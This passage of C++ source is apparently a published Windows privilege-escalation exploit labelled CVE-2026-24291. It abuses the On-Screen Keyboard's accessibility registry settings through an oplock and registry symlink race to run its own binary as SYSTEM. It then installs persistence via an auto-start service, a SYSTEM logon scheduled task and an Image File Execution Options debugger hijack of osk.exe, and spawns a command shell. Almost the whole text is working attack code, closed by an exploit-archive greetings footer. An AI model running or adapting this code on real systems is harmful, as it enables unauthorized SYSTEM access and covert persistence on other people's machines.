{L"SimpleProfile", L"EoP Exploit"}
};
if (!RegistryHelper::SetRegistryValues(m_atKeyPath, values)) {
printf("[!] Failed to set AT values\n");
return false;
}
printf("[+] Malicious AT entry created at: %ls\n", m_atKeyPath.c_str());
return true;
}
bool PrepareOskConfigValues() {
printf("[*] Preparing OSK configuration values...\n");
std::wstring oskConfigPath = RegistryHelper::BuildOskConfigPath();
RegistryHelper::DeleteRegistryKey(oskConfigPath);
if (!RegistryHelper::CreateRegistryKey(oskConfigPath, true)) {
printf("[!] Failed to create OSK config key\n");
return false;
}
std::map<std::wstring, std::wstring> values = {
{L"ApplicationName", L"System Escalation"},
{L"ATExe", L"explorer.exe"},
{L"Description", L"EoP via OSK"},
{L"StartExe", m_executablePath},
{L"Profile", L"<HCIModel><Accommodation type=\"severe dexterity\" /></HCIModel>"},
{L"SimpleProfile", L"EoP Exploit"},
{L"SecureConfiguration", L"hack"}
};
if (!RegistryHelper::SetRegistryValues(oskConfigPath, values)) {
printf("[!] Failed to set OSK config values\n");
return false;
}
printf("[+] OSK configuration prepared\n");
return true;
}
bool CreateDebuggerPersistence() {
printf("[*] Creating debugger persistence (optional)...\n");
if (!RegistryHelper::CreateRegistryKey(kTargetKey, false)) {
return false;
}
HKEY hKey = nullptr;
std::wstring cleanPath = kTargetKey;
if (cleanPath.find(L"HKLM\\") == 0) {
cleanPath = cleanPath.substr(5);
}
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, cleanPath.c_str(), 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
RegSetValueExW(hKey, kDebuggerValue, 0, REG_SZ,
reinterpret_cast<const BYTE*>(m_executablePath.c_str()),
static_cast<DWORD>((m_executablePath.length() + 1) * sizeof(WCHAR)));
RegCloseKey(hKey);
printf("[+] Debugger persistence configured\n");
return true;
}
return false;
}
bool TriggerSecureDesktop() {
printf("[*] Triggering secure desktop switch...\n");
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = L"cmd.exe";
sei.lpParameters = L"/c echo Exploit triggered > nul";
sei.nShow = SW_HIDE;
if (!ShellExecuteExW(&sei)) {
printf("[!] Failed to trigger elevation\n");
return false;
}
printf("[+] Secure desktop triggered (UAC prompt should appear)\n");
return true;
}
void WaitForOskOnSecureDesktop() {
printf("[*] Waiting for OSK on secure desktop...\n");
for (int i = 0; i < 30; i++) {
HWND hWnd = FindWindowW(nullptr, L"On-Screen Keyboard");
if (hWnd) {
printf("[+] OSK detected on secure desktop\n");
break;
}
Sleep(1000);
}
}
bool CreateSymbolicLinkRace() {
printf("\n[*] Setting up symbolic link race condition...\n");
std::wstring targetPath = RegistryHelper::BuildOskConfigPath();
DeleteRegSymlink(targetPath.c_str());
if (!CreateRegSymlink(targetPath.c_str(), m_atKeyPath.c_str(), true)) {
printf("[!] Failed to create symlink\n");
return false;
}
printf("[+] Symbolic link created: %ls -> %ls\n", targetPath.c_str(), m_atKeyPath.c_str());
return true;
}
void Cleanup() {
printf("\n[*] Cleaning up...\n");
std::wstring oskConfigPath = RegistryHelper::BuildOskConfigPath();
DeleteRegSymlink(oskConfigPath.c_str());
RegistryHelper::DeleteRegistryKey(m_atKeyPath);
RegistryHelper::DeleteRegistryKey(kTargetKey);
printf("[+] Cleanup completed\n");
}
public:
OSKEoPExploit(bool debugMode = false) : m_debugMode(debugMode) {
WCHAR path[MAX_PATH];
GetModuleFileNameW(nullptr, path, MAX_PATH);
m_executablePath = path;
m_sessionPath = RegistryHelper::BuildSessionPath();
m_oskConfigPath = RegistryHelper::BuildOskConfigPath();
m_atKeyPath = RegistryHelper::BuildAtKeyPath();
}
bool Exploit() {
printf("\n");
printf("========================================\n");
printf(" CVE-2026-24291 - OSK EoP Exploit\n");
printf(" SYSTEM Privilege Escalation\n");
printf("========================================\n\n");
printf("[*] Exploit path: %ls\n", m_executablePath.c_str());
printf("[*] Session path: %ls\n", m_sessionPath.c_str());
printf("[*] OSK config path: %ls\n", m_oskConfigPath.c_str());
printf("[*] AT key path: %ls\n", m_atKeyPath.c_str());
EnsureOSKInitialized();
if (!PrepareMaliciousAtKey()) {
printf("[!] Failed to prepare AT key\n");
return false;
}
if (!PrepareOskConfigValues()) {
printf("[!] Failed to prepare OSK config\n");
return false;
}
printf("\n[*] Creating OpLock on osk.exe...\n");
FileOpLock oplock;
if (!oplock.Acquire(L"C:\\Windows\\System32\\osk.exe", [this]() {
printf("\n[!!!] OPLOCK TRIGGERED!\n");
printf("[*] Creating symbolic link for registry redirection...\n");
CreateSymbolicLinkRace();
})) {
printf("[!] Failed to acquire oplock\n");
return false;
}
if (!TriggerSecureDesktop()) {
return false;
}
printf("[*] Waiting for OpLock to trigger (OSK on secure desktop)...\n");
oplock.Wait(15000);
printf("[*] Waiting for registry synchronization...\n");
Sleep(5000);
printf("\n[*] Triggering AT execution...\n");
std::wstring sessionPath = m_sessionPath;
if (sessionPath.find(L"HKLM\\") == 0) {
sessionPath = sessionPath.substr(5);
}
HKEY hKey = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, sessionPath.c_str(), 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
std::wstring configValue = L"hack";
RegSetValueExW(hKey, L"SecureConfiguration", 0, REG_SZ,
reinterpret_cast<const BYTE*>(configValue.c_str()),
static_cast<DWORD>((configValue.length() + 1) * sizeof(WCHAR)));
RegCloseKey(hKey);
}
printf("[*] Triggering second secure desktop to execute malicious AT...\n");
Sleep(2000);
TriggerSecureDesktop();
printf("[*] Waiting for SYSTEM execution...\n");
Sleep(8000);
Cleanup();
printf("\n[+] Exploit completed! Check for SYSTEM shell.\n");
return true;
}
};
class AdvancedPersistence {
public:
static bool InstallServicePersistence(const std::wstring& executablePath) {
printf("[*] Installing service persistence...\n");
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);
if (!hSCM) return false;
SC_HANDLE hService = CreateServiceW(
hSCM,
L"OSKEoPService",
L"OSK EoP Service",
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
executablePath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
if (hService) {
StartServiceW(hService, 0, nullptr);
CloseServiceHandle(hService);
printf("[+] Service persistence installed\n");
}
CloseServiceHandle(hSCM);
return hService != nullptr;
}
static bool InstallScheduledTask(const std::wstring& executablePath) {
printf("[*] Installing scheduled task persistence...\n");
wchar_t command[512];
swprintf_s(command, L"schtasks /create /tn \"OSKEoP\" /tr \"%ls\" /sc onlogon /ru SYSTEM /f",
executablePath.c_str());
system("schtasks /delete /tn \"OSKEoP\" /f > nul 2>&1");
int result = system(command);
if (result == 0) {
printf("[+] Scheduled task persistence installed\n");
return true;
}
return false;
}
};
int wmain(int argc, wchar_t* argv[]) {
bool debugMode = false;
bool installPersistence = false;
bool useDebugger = false;
for (int i = 1; i < argc; i++) {
if (_wcsicmp(argv[i], L"--debug") == 0) {
debugMode = true;
}
else if (_wcsicmp(argv[i], L"--persist") == 0) {
installPersistence = true;
}
else if (_wcsicmp(argv[i], L"--debugger") == 0) {
useDebugger = true;
}
else if (_wcsicmp(argv[i], L"--help") == 0) {
printf("CVE-2026-24291 - OSK EoP Exploit\n");
printf("Usage: %s [options]\n", argv[0]);
printf("Options:\n");
printf(" --debug Enable debug output\n");
printf(" --persist Install persistence after escalation\n");
printf(" --debugger Use IFEO debugger persistence\n");
printf("\nNote: This exploit escalates to SYSTEM privileges\n");
return 0;
}
}
HANDLE hToken = nullptr;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION_TYPE elevationType;
DWORD dwSize;
if (GetTokenInformation(hToken, TokenElevationType, &elevationType, sizeof(elevationType), &dwSize)) {
if (elevationType == TokenElevationTypeFull) {
printf("[+] Already running with elevated privileges!\n");
printf("[*] Spawning SYSTEM shell...\n");
system("cmd.exe");
return 0;
}
}
CloseHandle(hToken);
}
OSKEoPExploit exploit(debugMode);
if (exploit.Exploit()) {
printf("\n[+] Exploit successful!\n");
if (installPersistence) {
WCHAR path[MAX_PATH];
GetModuleFileNameW(nullptr, path, MAX_PATH);
AdvancedPersistence::InstallServicePersistence(path);
AdvancedPersistence::InstallScheduledTask(path);
}
if (useDebugger) {
// השתמש ב-IFEO debugger
HKEY hKey = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\osk.exe",
0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
WCHAR path[MAX_PATH];
GetModuleFileNameW(nullptr, path, MAX_PATH);
RegSetValueExW(hKey, L"Debugger", 0, REG_SZ,
reinterpret_cast<const BYTE*>(path),
static_cast<DWORD>((wcslen(path) + 1) * sizeof(WCHAR)));
RegCloseKey(hKey);
printf("[+] IFEO Debugger persistence configured\n");
}
}
printf("\n[*] To get SYSTEM shell, wait for scheduled task or service to trigger.\n");
printf("[*] Alternatively, run osk.exe again to trigger debugger.\n");
printf("\n[*] Attempting to spawn SYSTEM shell...\n");
Sleep(3000);
ShellExecuteW(nullptr, L"runas", L"cmd.exe", L"/k whoami", nullptr, SW_SHOW);
} else {
printf("\n[!] Exploit failed. Try running OSK manually first.\n");
return 1;
}
return 0;
}
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================